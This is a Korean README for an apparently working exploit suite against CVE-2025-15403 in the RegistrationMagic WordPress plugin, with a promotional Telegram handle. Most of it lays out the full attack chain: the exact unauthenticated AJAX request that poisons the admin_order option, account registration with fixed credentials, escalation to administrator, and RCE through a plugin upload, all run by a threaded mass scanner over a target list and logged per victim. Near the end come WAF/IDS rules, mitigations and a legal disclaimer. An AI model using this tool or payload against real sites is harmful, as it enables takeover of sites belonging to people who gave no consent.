
RegistrationMagic <= 6.0.7.1 - admin_order를 통한 인증되지 않은 권한 상승
RegistrationMagic <= 6.0.7.1 - 인증되지 않은 권한 상승 via admin_order
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 정보가 가장 먼저 떨어지는 곳입니다. Telegram에서 **@KNxploited**를 팔로우하세요 — 정밀한 CVE 공개, 작동하는 익스플로잇, 심층 취약점 연구. 뉴스를 기다리지 않고 만드는 사람들을 위한 채널입니다.
CVE-2025-15403는 WordPress용 RegistrationMagic 플러그인의 CVSS 9.8 Critical 권한 상승 취약점입니다.
이 결함은 플러그인의 add_menu 함수에 존재하며, rm_user_exists AJAX 액션을 통해 인증 없이 접근할 수 있습니다. enable_admin_order=yes 플래그와 함께 order 매개변수에 빈 슬러그를 주입함으로써 공격자는 플러그인의 내부 메뉴 생성 로직을 조작합니다. 이후 관리자 메뉴가 빌드될 때, 플러그인은 대상 역할에 대해 add_cap('manage_options')를 무음으로 호출하여 모든 구독자 수준 계정을 완전한 관리자 권한으로 상승시킵니다.
근본 원인은 add_menu 함수가 rm_user_exists를 통해 인증 없이 접근 가능하고, admin_order 슬러그의 유효성 검사가 전혀 없다는 점입니다:
// 권한 확인 없이 등록됨
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← 사용자 제어, 검증되지 않음
$role_key = /* POST에서 파생 */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// 공격자가 제어한 order를 플러그인 옵션에 저장
update_option('rm_admin_order', $order); // 예: ",menu1" → 첫 번째 슬러그가 비어 있음
}
}
// 나중에 관리자 메뉴가 빌드될 때...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← 공격자에 의해 오염됨
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// 빈 슬러그는 무조건 권한 부여를 트리거함
$role->add_cap('manage_options'); // ← 전체 관리자 권한 추가
}
}
}
이것이 중요한 이유:
wp_ajax_nopriv_* = 옵션을 오염시키는 데 인증이 전혀 필요 없음order=,menu1의 빈 슬러그는 empty() 검사를 통과하여 add_cap('manage_options')를 트리거함manage_options는 가장 높은 WordPress 권한 — 관리자와 동일╔══════════════════════════════════════════════════════════════════════════╗
║ 1단계 — 인증되지 않은 옵션 오염 ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← 첫 번째 요소가 비어 있음 = 빈 슬러그
_Subscriber = 1 ← 대상 역할 키
restore = false
enable_admin_order= yes
응답: HTTP 200 (차단되지 않은 모든 응답 = 옵션 오염됨)
↓ 플러그인이 order=",menu1"을 wp_options에 저장함
↓ 다음 관리자 메뉴 빌드 시 Subscriber 역할에 add_cap('manage_options')가 트리거됨
╔══════════════════════════════════════════════════════════════════════════╗
║ 2단계 — 계정 획득 (구독자) ║
╚══════════════════════════════════════════════════════════════════════════╝
옵션 A — 사이트의 등록 양식을 통해 등록 (모드 0):
GET /wp-login.php?action=register → 스마트 폼 감지
POST → 구독자 계정 생성
자격 증명: NXploited / xplpass123
옵션 B — 기존 구독자 계정 사용.
╔══════════════════════════════════════════════════════════════════════════╗
║ 3단계 — 로그인 + 권한 수확 ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
구독자 계정이 이제 manage_options를 보유함 → 전체 관리자 패널에 접근 가능
╔══════════════════════════════════════════════════════════════════════════╗
║ 4단계 — 심층 확인 및 플러그인 업로드를 통한 RCE ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → 관리자 대시보드 접근 가능 ✔️
GET /wp-admin/plugin-install.php → 플러그인 설치 페이지 접근 가능 ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → 플러그인 업로드 및 실행 ✔️
GET /wp-content/plugins/Nxploited/hello.php
응답에 "Nxploited" 포함됨 → RCE 확인됨 ✔️
이 익스플로잇 스위트는 전체 공격 수명 주기를 포괄하는 세 가지 distinct 모드를 제공합니다:
pip install requests colorama urllib3
Python 3.8+ 필요. Python 3.10+ 권장 (
X | Y유니온 타입 힌트 사용).
CVE-2025-15403/
├── CVE-2025-15403.py # 메인 익스플로잇 스위트
├── list.txt # 대상 URL — 한 줄에 하나
│
├── rm_register_results.txt # 모드 0: 성공한 등록
├── rm_exploit_results.txt # 모드 1 & 2: 프리미티브 발사 로그
├── rm_admin_verify.txt # 모드 2: 로그인 + 관리자 확인 로그
├── rm_plugin_uploads.txt # 모드 2: 플러그인 업로드 시도 로그
│
├── rm_admin_dashboard_success.txt # ✔ 관리자 대시보드가 확인된 사이트
├── rm_plugin_install_access.txt # ✔ 플러그인 설치 페이지에 접근 가능한 사이트
└── rm_plugin_rce_success.txt # ✔ 플러그인 업로드를 통한 RCE가 확인된 사이트
맨 아래의 세
_success파일은 점진적 손상 수준을 나타냅니다 — 각 파일은 조건이 확인되는 즉시 독립적으로 기록됩니다.
list.txt를 생성하고 한 줄에 하나의 URL 또는 호스트 이름을 입력하세요:
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com
스키마가 없는 호스트 이름은 자동으로
https://가 접두사로 붙습니다. 하위 디렉토리 WordPress 설치(예:/wordpress)는 자동으로 감지 및 처리됩니다.
python CVE-2025-15403.py
모든 매개변수에 대해 대화형으로 프롬프트가 표시됩니다. 모드 2의 예시 세션:
Select mode (0 = register, 1 = exploit, 2 = exploit+verify) [0]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 20
HTTP timeout (seconds) [10]: 12
Role key to escalate (e.g. _Subscriber, _Editor) [_Subscriber]: _Subscriber
Username to login with (e.g. NXploited) [NXploited]: NXploited
Password for that user [xplpass123]: xplpass123
Output file for admin verification [rm_admin_verify.txt]: rm_admin_verify.txt
Output file for plugin upload tests [rm_plugin_uploads.txt]: rm_plugin_uploads.txt
Send primitive before login in mode 2? (yes/no) [yes]: yes
[14:31:01] info | Mode 2: Exploit + Login + Deep Verify | Targets: 200
[14:31:02] SESSION | https://target.com | PRIM: OK | REG: SKIP | LOGIN: OK | ACCESS: admin_full_plugin_upload
[14:31:03] SESSION | https://target2.com | PRIM: OK | REG: SKIP | LOGIN: FAIL | ACCESS: bad_credentials
[14:31:04] SESSION | https://target3.com | PRIM: FAIL | REG: SKIP | LOGIN: - | ACCESS: NO HIT
rm_admin_dashboard_success.txt권한 상승 후 구독자 계정이 /wp-admin/에 성공적으로 접근한 사이트:
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - ADMIN_DASHBOARD - verify_admin_dashboard
rm_plugin_install_access.txt플러그인 설치 페이지에 접근 가능한 사이트 (manage_options 확인):
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - PLUGIN_INSTALL_ACCESS=https://victim.com/wp-admin/plugin-install.php?tab=upload - plugin-install-access
rm_plugin_rce_success.txt테스트 플러그인이 업로드되어 실행된 사이트 — RCE 확인됨:
[2025-04-18 14:31:05] https://victim.com - NXploited:xplpass123 - PLUGIN_RCE=https://victim.com/wp-content/plugins/Nxploited/hello.php - AdminUpload
모드 2는 3단계 점진적 확인을 수행합니다 — 각 단계는 독립적이며 자체 결과 파일을 기록합니다:
1단계 — 관리자 대시보드
GET /wp-admin/
GET /wp-admin/index.php
GET /wp-admin/users.php
확인: "dashboard", "adminmenu", "manage_options", "plugins.php"
✔ → rm_admin_dashboard_success.txt에 기록
2단계 — 플러그인 설치 페이지 접근
GET /wp-admin/plugin-install.php
GET /wp-admin/plugin-install.php?tab=upload
확인: "upload-plugin", "plugin-upload-form", "pluginzip"
✔ → rm_plugin_install_access.txt에 기록
3단계 — 실제 플러그인 업로드 + 실행 (RCE 증명)
플러그인 설치 페이지에서 _wpnonce 추출
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip (메모리 내 생성)
GET /wp-content/plugins/Nxploited/hello.php
응답 본문에 "Nxploited"가 포함되어 있는지 확인
✔ → rm_plugin_rce_success.txt에 기록
통과하는 각 단계는 독립적으로 기록됩니다 — 1단계는 통과했지만 3단계는 통과하지 못한 대상도 rm_admin_dashboard_success.txt에 캡처됩니다.
모드 0은 사용자 정의 HTML 폼 파서를 사용하여 WordPress 등록 폼 — 사용자 정의 RegistrationMagic 폼을 포함하여 — 자동으로 감지하고 제출합니다:
프로브 URL (순서대로):
/wp-login.php?action=register
/register/
/signup/
/wp-signup.php
/wp-login.php
각 페이지에 대해:
→ 모든 <form> 요소 파싱
→ 각 폼 점수 매기기 (0–200점):
+100 "user_login" + "user_email" 필드 존재
+ 60 이메일 + 사용자 이름 같은 필드 존재
+ 30 rm_* 접두사가 붙은 입력 필드 (RegistrationMagic 특정)
+ 20 폼 id/class에 "register" / "signup" 포함
+ 10 페이지 본문에 "register" / "sign up" 언급
→ 가장 높은 점수의 폼 제출 (임계값: 40+)
→ 응답 본문 / 리디렉션 URL을 통해 성공 확인
익스플로잇에 의해 생성된 네트워크 패턴 — 방어자 및 WAF/IDS 작성자용:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes
WAF / IDS 규칙 (의사 코드):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "rm_user_exists"
AND request.body CONTAINS "rm_options_admin_menu"
AND request.body CONTAINS "enable_admin_order=yes"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2025-15403)
추가 탐지 — 옵션 오염:
wp_options 테이블 모니터링:
IF option_name = "rm_admin_order"
AND option_value STARTS WITH ","
THEN ALERT — 잠재적 CVE-2025-15403 악용
사이트 소유자, 개발자 또는 방어자인 경우 즉시 조치하십시오:
wp_options 테이블 감사 — rm_admin_order 값에 의심스러운 항목(예: ,로 시작)이 있는지 확인manage_options 권한이 있는 무단 계정을 제거하거나 강등wp_ajax_nopriv_* 핸들러에 권한 검사 추가 — 옵션 쓰기 기능을 인증 없이 노출하지 마십시오order 매개변수 유효성 검사 및 정리 — 빈 슬러그 세그먼트가 포함된 값 거부rm_options_admin_menu가 포함된 인증되지 않은 POST 요청을 차단rm_user_exists AJAX 액션 호출에 대한 WordPress 및 서버 로그 모니터링이 도구는 오직 교육, 승인된 침투 테스트 및 보안 연구 목적으로만 제공됩니다.
이 스크립트를 다운로드, 실행 또는 수정함으로써 귀하는 명시적으로 다음에 동의합니다:
• 귀하는 테스트하는 모든 대상 시스템의 소유자로부터 명시적이고 서면으로 된 승인을 보유하고 있습니다.
예외는 없습니다. 가정도 없습니다.
• 귀하는 공식적으로 범위가 지정되고 승인된 침투 테스트 계약 또는 귀하가 소유한 통제된 실험실 환경 내에서 운영하고 있습니다.
• 귀하는 문서화된 법적 허가 없이 어떤 시스템, 네트워크 또는 인프라에 대해서도 이 도구를 배포하지 않을 것입니다.
• Nxploited 및 모든 기여자는 이 도구의 사용으로 인해 발생하는 무단 사용, 데이터 손실, 시스템 손상, 법적 절차 또는 형사 기소에 대해 어떠한 책임도 지지 않습니다.
이 익스플로잇을 무단으로 사용하는 것은 다음과 같은 법률에 따라 범죄 행위에 해당합니다:
— 미국 컴퓨터 사기 및 남용 법(CFAA)
— 영국 컴퓨터 남용 법(CMA)
— 정보 시스템 공격에 관한 EU 지침 2013/40/EU
— 사우디아라비아 사이버 범죄 방지 법(No. M/17)
— 그리고 모든 동등한 국가 및 국제 사이버 범죄 법률.
책임감 있게 사용하십시오. 윤리적으로 해킹하십시오. 책임감 있게 공개하십시오.
| 핸들 | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Telegram에서 @KNxploited를 팔로우하세요 최신 CVE. 작동하는 익스플로잇. 잡음 없음. 지연 없음. 진지한 연구자들이 날카로움을 유지하는 채널입니다.
| 필드 | 상세 |
|---|
| CVE ID | CVE-2025-15403 |
| 플러그인 | RegistrationMagic |
| 슬러그 | registrationmagic / custom-registration-form-builder-with-submission-manager |
| 영향 받는 버전 | 6.0.7.1까지의 모든 버전 |
| 취약점 유형 | 인증되지 않은 권한 상승 |
| 공격 요구사항 | AJAX 단계: 없음. 악용: 구독자 계정 |
| 공격 벡터 | 네트워크 |
| CVSS 3.1 점수 | 9.8 CRITICAL |
| CVSS 벡터 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 영향 | 전체 WordPress 관리자 권한 탈취 |
| 연구자 | Nxploited |
| 모드 | 이름 | 설명 |
|---|
0 | 등록 전용 | 스마트 WordPress 폼 감지 + 구독자 계정 등록 |
1 | 익스플로잇 전용 | 인증되지 않은 AJAX 프리미티브를 발사하여 admin_order 오염 |
2 | 익스플로잇 + 로그인 + 확인 | 전체 체인: 프리미티브 → 로그인 → 관리자 대시보드 → 플러그인 설치 → RCE |
| 종속성 | 목적 |
|---|
requests | HTTP 세션, 쿠키 처리, 리디렉션 추적 |
colorama | 크로스 플랫폼 컬러 터미널 출력 |
urllib3 | 자체 서명 인증서에 대한 SSL 경고 억제 |
concurrent.futures | 높은 처리량 다중 대상 스캔을 위한 스레드 풀 |
zipfile | RCE 확인을 위한 메모리 내 테스트 플러그인 ZIP 생성 |
html.parser | 스마트 등록 폼 감지 및 필드 추출 |
| 색상 | 태그 | 의미 |
|---|
| 🔵 청록 | info | 정보 — 모드 시작, 구성 |
| 🟢 초록 | ok | 완전 성공 — 관리자 접근 또는 RCE 확인 |
| 🟡 노랑 | warn | 부분 결과 — 프리미티브는 성공했지만 로그인 실패 등 |
| 🔴 빨강 | err | 심각한 실패 — 파일 없음, 예외, 차단 |
| 매개변수 | 기본값 | 설명 |
|---|
| 모드 | 0 | 공격 모드: 0 = 등록, 1 = 익스플로잇, 2 = 전체 체인 |
| 대상 파일 | list.txt | 대상 URL이 포함된 파일 |
| 스레드 | 5 (하드 최대 없음) | 동시 ThreadPoolExecutor 작업자 |
| 타임아웃 | 10 초 | 요청당 HTTP 타임아웃 |
| 역할 키 | _Subscriber | 상승시킬 WordPress 역할 (_Editor, _Author 등) |
| 사용자 이름 | NXploited | 등록/로그인할 계정 |
| 비밀번호 | xplpass123 | 계정의 비밀번호 |
| 프리미티브 전송 | yes | 모드 2에서 로그인 전 AJAX 단계를 발사할지 여부 |